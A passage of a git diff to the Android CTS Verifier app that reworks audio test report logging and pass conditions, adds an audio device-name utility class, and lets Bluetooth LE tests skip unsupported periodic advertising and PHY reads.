@@ -224,60 +215,42 @@
         }
 
         // ReportLog Schema (per route)
-        private static final String KEY_ROUTEAVAILABLE = "route_available";
-        private static final String KEY_ROUTECONNECTED = "route_connected";
-        private static final String KEY_ROUTERUN = "route_run";
-        private static final String KEY_LATENCY = "route_latency";
-        private static final String KEY_CONFIDENCE = "route_confidence";
-        private static final String KEY_MEANABSDEVIATION = "route_mean_absolute_deviation";
-        private static final String KEY_IS_PERIPHERAL_ATTACHED = "route_is_peripheral_attached";
-        private static final String KEY_INPUT_PERIPHERAL_NAME = "route_input_peripheral";
-        private static final String KEY_OUTPUT_PERIPHERAL_NAME = "route_output_peripheral";
-        private static final String KEY_TEST_PERIPHERAL = "route_test_peripheral";
-
-        String makeSectionKey(String key) {
-            return Integer.toString(mRouteId) + "_" + key;
-        }
+        private static final String KEY_ROUTEINDEX = "route_index";
+        private static final String KEY_LATENCY = "latency";
+        private static final String KEY_CONFIDENCE = "confidence";
+        private static final String KEY_MEANABSDEVIATION = "mean_absolute_deviation";
+        private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
+        private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
+        private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
+        private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
 
         void recordTestResults(CtsVerifierReportLog reportLog) {
             reportLog.addValue(
-                    makeSectionKey(KEY_ROUTEAVAILABLE),
-                    mRouteAvailable ? 1 : 0,
+                    KEY_ROUTEINDEX,
+                    mRouteId,
                     ResultType.NEUTRAL,
                     ResultUnit.NONE);
 
             reportLog.addValue(
-                    makeSectionKey(KEY_ROUTECONNECTED),
-                    mRouteConnected ? 1 : 0,
-                    ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-
-            reportLog.addValue(
-                    makeSectionKey(KEY_ROUTERUN),
-                    mTestRun ? 1 : 0,
-                    ResultType.NEUTRAL,
-                    ResultUnit.NONE);
-
-            reportLog.addValue(
-                    makeSectionKey(KEY_LATENCY),
+                    KEY_LATENCY,
                     mMeanLatencyMS,
                     ResultType.LOWER_BETTER,
                     ResultUnit.MS);
 
             reportLog.addValue(
-                    makeSectionKey(KEY_CONFIDENCE),
+                    KEY_CONFIDENCE,
                     mMeanConfidence,
                     ResultType.HIGHER_BETTER,
                     ResultUnit.NONE);
 
             reportLog.addValue(
-                    makeSectionKey(KEY_MEANABSDEVIATION),
+                    KEY_MEANABSDEVIATION,
                     mMeanAbsoluteDeviation,
                     ResultType.NEUTRAL,
                     ResultUnit.NONE);
 
             reportLog.addValue(
-                    makeSectionKey(KEY_TEST_PERIPHERAL),
+                    KEY_TEST_PERIPHERAL,
                     mDeviceName,
                     ResultType.NEUTRAL,
                     ResultUnit.NONE);
@@ -294,6 +267,8 @@
         getPassButton().setEnabled(false);
         setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
 
+        mRequireReportLogToPass = true;
+
         mClaimsOutput = AudioSystemFlags.claimsOutput(this);
         mClaimsInput = AudioSystemFlags.claimsInput(this);
         mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
@@ -474,7 +449,6 @@
                     mTestSpecs[TESTROUTE_USB].mDeviceName = devInfo.getProductName().toString();
             }
 
-            // setTestButtonsState();
             enableStartButtons(true);
         }
     }
@@ -533,69 +507,66 @@
         return setTestNameSuffix(sCurrentDisplayMode, "audio_loopback_latency_activity");
     }
 
-    // Schema
+    // Test-Schema
     private static final String KEY_SAMPLE_RATE = "sample_rate";
     private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
     private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
     private static final String KEY_TEST_MMAP = "supports_mmap";
     private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
     private static final String KEY_LEVEL = "level";
-    //
-    // Subclasses should call this explicitly. SubClasses should call submit() after their logs
-    //
+
+    private void recordRouteResults(int routeIndex) {
+        if (mTestSpecs[routeIndex].mTestRun) {
+            CtsVerifierReportLog reportLog = newReportLog();
+
+            int audioLevel = mAudioLevelSeekbar.getProgress();
+            reportLog.addValue(
+                    KEY_LEVEL,
+                    audioLevel,
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+
+            reportLog.addValue(
+                    KEY_IS_PRO_AUDIO,
+                    mClaimsProAudio,
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+
+            reportLog.addValue(
+                    KEY_TEST_MMAP,
+                    mSupportsMMAP,
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+
+            reportLog.addValue(
+                    KEY_TEST_MMAPEXCLUSIVE,
+                    mSupportsMMAPExclusive,
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+
+            reportLog.addValue(
+                    KEY_SAMPLE_RATE,
+                    mNativeAnalyzerThread.getSampleRate(),
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+
+            reportLog.addValue(
+                    KEY_IS_LOW_LATENCY,
+                    mNativeAnalyzerThread.isLowLatencyStream(),
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+
+            mTestSpecs[routeIndex].recordTestResults(reportLog);
+
+            reportLog.submit();
+        }
+    }
+
     @Override
     public void recordTestResults() {
-        Log.i(TAG, "recordTestResults() mNativeAnalyzerThread:" + mNativeAnalyzerThread);
-
-        // We need to rework that
-        CtsVerifierReportLog reportLog = getReportLog();
-
-        int audioLevel = mAudioLevelSeekbar.getProgress();
-        reportLog.addValue(
-                KEY_LEVEL,
-                audioLevel,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_IS_PRO_AUDIO,
-                mClaimsProAudio,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_TEST_MMAP,
-                mSupportsMMAP,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_TEST_MMAPEXCLUSIVE ,
-                mSupportsMMAPExclusive,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        if (mNativeAnalyzerThread == null) {
-            return; // no test results to report
+        for (int route = 0; route < NUM_TEST_ROUTES; route++) {
+            recordRouteResults(route);
         }
-
-        reportLog.addValue(
-                KEY_SAMPLE_RATE,
-                mNativeAnalyzerThread.getSampleRate(),
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        reportLog.addValue(
-                KEY_IS_LOW_LATENCY,
-                mNativeAnalyzerThread.isLowLatencyStream(),
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-
-        for (TestSpec testSpec : mTestSpecs) {
-            testSpec.recordTestResults(reportLog);
-        }
-
-        reportLog.submit();
     }
 
     private void startAudioTest(Handler messageHandler, int testRouteId) {
@@ -658,6 +629,7 @@
                 e.printStackTrace();
             }
 
+
             mTestPhase++;
             if (mTestPhase >= NUM_TEST_PHASES) {
                 handleTestCompletion();
@@ -683,7 +655,8 @@
         mResultsText[mTestRoute].setText(testSpec.getResultString());
 
         LoopbackLatencyRequirements requirements = new LoopbackLatencyRequirements();
-        boolean pass = requirements.evaluate(mClaimsProAudio,
+        boolean pass = isReportLogOkToPass()
+                && requirements.evaluate(mClaimsProAudio,
                 Build.VERSION.MEDIA_PERFORMANCE_CLASS,
                 mTestSpecs[TESTROUTE_DEVICE].isMeasurementValid()
                         ? mTestSpecs[TESTROUTE_DEVICE].mMeanLatencyMS : 0.0,
@@ -694,8 +667,12 @@
 
         getPassButton().setEnabled(pass);
 
-        String resultText = requirements.getResultsString();
-        mTestStatusText.setText(resultText);
+        StringBuilder sb = new StringBuilder();
+        if (!isReportLogOkToPass()) {
+            sb.append(getResources().getString(R.string.audio_general_reportlogtest) + "\n");
+        }
+        sb.append(requirements.getResultsString());
+        mTestStatusText.setText(sb.toString());
 
         showWait(false);
         enableStartButtons(true);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
index 591fe9b..1ece2f1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
@@ -32,6 +32,7 @@
 
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
+import com.android.cts.verifier.audio.audiolib.AudioDeviceUtils;
 import com.android.cts.verifier.CtsVerifierReportLog;
 import com.android.cts.verifier.R;
 
@@ -131,13 +132,8 @@
             String msg = mContext.getResources().getString(
                     R.string.audio_routingnotification_trackRoutingMsg);
             AudioDeviceInfo routedDevice = audioTrack.getRoutedDevice();
-            CharSequence deviceName = routedDevice != null ? routedDevice.getProductName() : "none";
-            mConnectedPeripheralName = deviceName.toString();
-            int deviceType = routedDevice != null ? routedDevice.getType() : -1;
-            textView.setText(msg + " - " +
-                             deviceName + " [0x" + Integer.toHexString(deviceType) + "]" +
-                             " - " + mNumRoutingNotifications);
-
+            mConnectedPeripheralName = AudioDeviceUtils.formatDeviceName(routedDevice);
+            textView.setText(msg + ": " + mConnectedPeripheralName);
             mRoutingNotificationReceived = true;
             calculatePass();
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java
index 215d26f..8ff2358 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTap2ToneActivity.java
@@ -154,6 +154,8 @@
         String yesString = getResources().getString(R.string.audio_general_yes);
         String noString = getResources().getString(R.string.audio_general_no);
 
+        mRequireReportLogToPass = true;
+
         boolean claimsProAudio = AudioSystemFlags.claimsProAudio(this);
         boolean claimsLowLatencyAudio = AudioSystemFlags.claimsLowLatencyAudio(this);
 
@@ -311,11 +313,14 @@
         }
 
         double averageLatency = mLatencyAve[mActiveTestAPI];
-        boolean pass = averageLatency != 0 && averageLatency <= mMaxRequiredLatency;
+        boolean pass = isReportLogOkToPass()
+                && averageLatency != 0 && averageLatency <= mMaxRequiredLatency;
 
         if (pass) {
             mSpecView.setText("Average: " + averageLatency + " ms <= "
                     + mMaxRequiredLatency + " ms -- PASS");
+        } else if (!isReportLogOkToPass()) {
+            mSpecView.setText(getResources().getString(R.string.audio_general_reportlogtest));
         } else {
             mSpecView.setText("Average: " + averageLatency + " ms > "
                     + mMaxRequiredLatency + " ms -- FAIL");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
index b071652..232e14d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
@@ -96,6 +96,15 @@
     }
   }
 
+  boolean getBoolPropValue(final String value) {
+    if (value == null) {
+      return false;
+    }
+
+    return !value.equalsIgnoreCase(getResources().getString(
+        R.string.hifi_ultrasound_test_default_false_string));
+  }
+
   @Override
   protected void onCreate(Bundle savedInstanceState) {
     super.onCreate(savedInstanceState);
@@ -110,27 +119,17 @@
     info.setText(R.string.hifi_ultrasound_speaker_test_instruction1);
 
     AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-    String micSupportString = audioManager.getProperty(
-        AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND);
-    String spkrSupportString = audioManager.getProperty(
-        AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND);
-    Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupportString);
-    Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupportString);
+    micSupport = getBoolPropValue(audioManager.getProperty(
+        AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND));
+    spkrSupport = getBoolPropValue(audioManager.getProperty(
+        AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND));
+    Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupport);
+    Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupport);
 
-    if (micSupportString == null) {
-      micSupportString = "null";
-    }
-    if (spkrSupportString == null) {
-      spkrSupportString = "null";
-    }
-    if (micSupportString.equalsIgnoreCase(getResources().getString(
-        R.string.hifi_ultrasound_test_default_false_string))) {
-      micSupport = false;
+    if (!micSupport) {
       info.append(getResources().getString(R.string.hifi_ultrasound_speaker_test_mic_no_support));
     }
-    if (spkrSupportString.equalsIgnoreCase(getResources().getString(
-        R.string.hifi_ultrasound_test_default_false_string))) {
-      spkrSupport = false;
+    if (!spkrSupport) {
       getPassButton().setEnabled(true);
       info.append(getResources().getString(R.string.hifi_ultrasound_speaker_test_spkr_no_support));
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
index 2948e38..a5a11f2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
@@ -79,6 +79,15 @@
     }
   }
 
+  boolean getBoolPropValue(final String value) {
+    if (value == null) {
+      return false;
+    }
+
+    return !value.equalsIgnoreCase(getResources().getString(
+        R.string.hifi_ultrasound_test_default_false_string));
+  }
+
   @Override
   protected void onCreate(Bundle savedInstanceState) {
     super.onCreate(savedInstanceState);
@@ -92,29 +101,19 @@
     info.setText(R.string.hifi_ultrasound_test_instruction1);
 
     AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);
-    String micSupportString = audioManager.getProperty(
-        AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND);
-    String spkrSupportString = audioManager.getProperty(
-        AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND);
-    Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupportString);
-    Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupportString);
+    micSupport = getBoolPropValue(audioManager.getProperty(
+        AudioManager.PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND));
+    spkrSupport = getBoolPropValue(audioManager.getProperty(
+        AudioManager.PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND));
+    Log.d(TAG, "PROPERTY_SUPPORT_MIC_NEAR_ULTRASOUND = " + micSupport);
+    Log.d(TAG, "PROPERTY_SUPPORT_SPEAKER_NEAR_ULTRASOUND = " + spkrSupport);
 
-    if (micSupportString == null) {
-      micSupportString = "null";
-    }
-    if (spkrSupportString == null) {
-      spkrSupportString = "null";
-    }
-    if (micSupportString.equalsIgnoreCase(getResources().getString(
-        R.string.hifi_ultrasound_test_default_false_string))) {
-      micSupport = false;
+    if (!micSupport) {
       getPassButton().setEnabled(true);
       getPassButton().performClick();
       info.append(getResources().getString(R.string.hifi_ultrasound_test_mic_no_support));
     }
-    if (spkrSupportString.equalsIgnoreCase(getResources().getString(
-        R.string.hifi_ultrasound_test_default_false_string))) {
-      spkrSupport = false;
+    if (!spkrSupport) {
       info.append(getResources().getString(R.string.hifi_ultrasound_test_spkr_no_support));
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 126d15f..e93d2b3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -158,11 +158,9 @@
         boolean usbOK = mClaimsUSBHostMode && mClaimsUSBPeripheralMode;
         boolean hdmiOK = !mClaimsHDMI || isHDMIValid();
 
-        boolean hasPassed = !mClaimsProAudio ||
-                (mClaimsLowLatencyAudio &&
-                mClaimsMIDI &&
-                usbOK &&
-                hdmiOK);
+        boolean hasPassed = isReportLogOkToPass()
+                && !mClaimsProAudio
+                || (mClaimsLowLatencyAudio && mClaimsMIDI && usbOK && hdmiOK);
 
         getPassButton().setEnabled(hasPassed);
         return hasPassed;
@@ -172,7 +170,9 @@
         boolean hasPassed = calculatePass();
 
         Resources strings = getResources();
-        if (hasPassed) {
+        if (!isReportLogOkToPass()) {
+            mTestStatusLbl.setText(getResources().getString(R.string.audio_general_reportlogtest));
+        } else  if (hasPassed) {
             mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_pass));
         } else if (!mClaimsMIDI) {
             mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_midinotreported));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
index bc23048..6270a5a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralNotificationsTest.java
@@ -20,23 +20,17 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
-
 import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
 import android.media.AudioManager;
-
 import android.os.Bundle;
 import android.os.Handler;
-
 import android.util.Log;
-
 import android.widget.TextView;
 
 import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.ReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
-
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;  // needed to access resource in CTSVerifier project namespace.
 
@@ -173,9 +167,10 @@
     // Test Status
     //
     private boolean calculatePass() {
-        return mUsbHeadsetInReceived && mUsbHeadsetOutReceived &&
-                mUsbDeviceInReceived && mUsbDeviceOutReceived &&
-                mPlugIntentReceived;
+        return isReportLogOkToPass()
+                && mUsbHeadsetInReceived && mUsbHeadsetOutReceived
+                && mUsbDeviceInReceived && mUsbDeviceOutReceived
+                && mPlugIntentReceived;
     }
 
     //
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java
new file mode 100644
index 0000000..c066942
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioDeviceUtils.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.audiolib;
+
+import android.media.AudioDeviceInfo;
+
+import java.util.HashMap;
+
+/**
+ * Utility methods for AudioDevices
+ */
+public class AudioDeviceUtils {
+    /*
+     * Channel Mask Utilities
+     */
+    private static final HashMap<Integer, String> sDeviceTypeStrings =
+            new HashMap<Integer, String>();
+
+    private static void initDeviceTypeStrings() {
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_UNKNOWN, "TYPE_UNKNOWN");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_EARPIECE, "TYPE_BUILTIN_EARPIECE");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_SPEAKER, "TYPE_BUILTIN_SPEAKER");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_WIRED_HEADSET, "TYPE_WIRED_HEADSET");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_WIRED_HEADPHONES, "TYPE_WIRED_HEADPHONES");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_LINE_ANALOG, "TYPE_LINE_ANALOG");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_LINE_DIGITAL, "TYPE_LINE_DIGITAL");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLUETOOTH_SCO, "TYPE_BLUETOOTH_SCO");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLUETOOTH_A2DP, "TYPE_BLUETOOTH_A2DP");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI, "TYPE_HDMI");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI_ARC, "TYPE_HDMI_ARC");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_DEVICE, "TYPE_USB_DEVICE");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_ACCESSORY, "TYPE_USB_ACCESSORY");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_DOCK, "TYPE_DOCK");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_FM, "TYPE_FM");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_MIC, "TYPE_BUILTIN_MIC");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_FM_TUNER, "TYPE_FM_TUNER");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_TV_TUNER, "TYPE_TV_TUNER");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_TELEPHONY, "TYPE_TELEPHONY");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_AUX_LINE, "TYPE_AUX_LINE");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_IP, "TYPE_IP");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUS, "TYPE_BUS");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_USB_HEADSET, "TYPE_USB_HEADSET");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HEARING_AID, "TYPE_HEARING_AID");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BUILTIN_SPEAKER_SAFE,
+                "TYPE_BUILTIN_SPEAKER_SAFE");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_REMOTE_SUBMIX, "TYPE_REMOTE_SUBMIX");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_HEADSET, "TYPE_BLE_HEADSET");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_SPEAKER, "TYPE_BLE_SPEAKER");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_ECHO_REFERENCE, "TYPE_ECHO_REFERENCE");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_HDMI_EARC, "TYPE_HDMI_EARC");
+        sDeviceTypeStrings.put(AudioDeviceInfo.TYPE_BLE_BROADCAST, "TYPE_BLE_BROADCAST");
+    }
+
+    static {
+        initDeviceTypeStrings();
+    }
+
+    /**
+     * @param deviceType
+     * @return a human-readable device type name.
+     */
+    public static String getDeviceTypeName(int deviceType) {
+        String typeName = sDeviceTypeStrings.get(deviceType);
+        return typeName != null ? typeName : "invalid type";
+    }
+
+    /**
+     * @param deviceInfo
+     * @return A human-readable description of the specified DeviceInfo
+     */
+    public static String formatDeviceName(AudioDeviceInfo deviceInfo) {
+        StringBuilder sb = new StringBuilder();
+        sb.append(deviceInfo.getProductName());
+        sb.append(" - " + getDeviceTypeName(deviceInfo.getType()));
+        return sb.toString();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
index 803c385..164992b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
@@ -244,6 +244,16 @@
     // The following order of commands follows the diagram of Bluetooth Core Specification,
     // Version 5.3, Vol 6, Part D, Figure 3.7: Periodic advertising.
     private void testPeriodicAdvertising() throws InterruptedException {
+        if (!mBluetoothAdapter.isLePeriodicAdvertisingSupported()) {
+            mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS
+                    | PASS_FLAG_SET_PERIODIC_ADVERTISING_DATA
+                    | PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+            mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS);
+            mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA);
+            mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
+            return;
+        }
+
         mCallback.reset();
 
         mCallback.mAdvertisingSet.get().setAdvertisingParameters(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 3c1c58b..21e2877 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -120,6 +120,8 @@
             "com.android.cts.verifier.bluetooth.BLE_READ_REMOTE_RSSI";
     public static final String BLE_PHY_READ =
             "com.android.cts.verifier.bluetooth.BLE_PHY_READ";
+    public static final String BLE_PHY_READ_SKIPPED =
+            "com.android.cts.verifier.bluetooth.BLE_PHY_READ_SKIPPED";
     public static final String BLE_ON_SERVICE_CHANGED =
             "com.android.cts.verifier.bluetooth.BLE_ON_SERVICE_CHANGED";
     public static final String BLE_CHARACTERISTIC_READ_NOPERMISSION =
@@ -907,6 +909,12 @@
         sendBroadcast(intent);
     }
 
+    private void notifyPhyReadSkipped() {
+        showMessage("Phy read not supported. Skipping the test.");
+        Intent intent = new Intent(BLE_PHY_READ_SKIPPED);
+        sendBroadcast(intent);
+    }
+
     private void notifyServiceChanged() {
         showMessage("Remote service changed");
         Intent intent = new Intent(BLE_ON_SERVICE_CHANGED);
@@ -1429,10 +1437,12 @@
         public void onPhyRead(BluetoothGatt gatt, int txPhy, int rxPhy, int status) {
             super.onPhyRead(gatt, txPhy, rxPhy, status);
             if (DEBUG) {
-                Log.d(TAG, "onPhyRead");
+                Log.d(TAG, "onPhyRead status=" + status);
             }
             if (status == BluetoothGatt.GATT_SUCCESS) {
                 notifyPhyRead(txPhy, rxPhy);
+            } else if (status == BluetoothGatt.GATT_REQUEST_NOT_SUPPORTED) {
+                notifyPhyReadSkipped();
             } else {
                 notifyError("Failed to read phy");
             }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index 357bb14..2a7c8b4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -127,6 +127,7 @@
         filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
         filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
         filter.addAction(BleClientService.BLE_PHY_READ);
+        filter.addAction(BleClientService.BLE_PHY_READ_SKIPPED);
         filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
@@ -375,6 +376,7 @@
                     newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
                     break;
                 case BleClientService.BLE_PHY_READ:
+                case BleClientService.BLE_PHY_READ_SKIPPED:
                     actionName = getString(R.string.ble_read_phy_name);
                     mTestAdapter.setTestPass(BLE_READ_PHY);
                     mPassed |= PASS_FLAG_READ_PHY;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 1349767..1ac6b0f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -32,6 +32,7 @@
 import android.content.pm.ServiceInfo;
 import android.graphics.ImageFormat;
 import android.graphics.Rect;
+import android.graphics.SurfaceTexture;
 import android.hardware.HardwareBuffer;
 import android.hardware.Sensor;
 import android.hardware.SensorEvent;
@@ -241,6 +242,8 @@
 
     final Object m3AStateLock = new Object();
     private volatile boolean mConvergedAE = false;
+    private volatile boolean mPrecaptureTriggered = false;
+    private volatile boolean mConvergeAETriggered = false;
     private volatile boolean mConvergedAF = false;
     private volatile boolean mConvergedAWB = false;
     private volatile boolean mLockedAE = false;
@@ -821,6 +824,8 @@
                     String cameraId = cmdObj.getString("cameraId");
                     int profileId = cmdObj.getInt("profileId");
                     doCheckHLG10Support(cameraId, profileId);
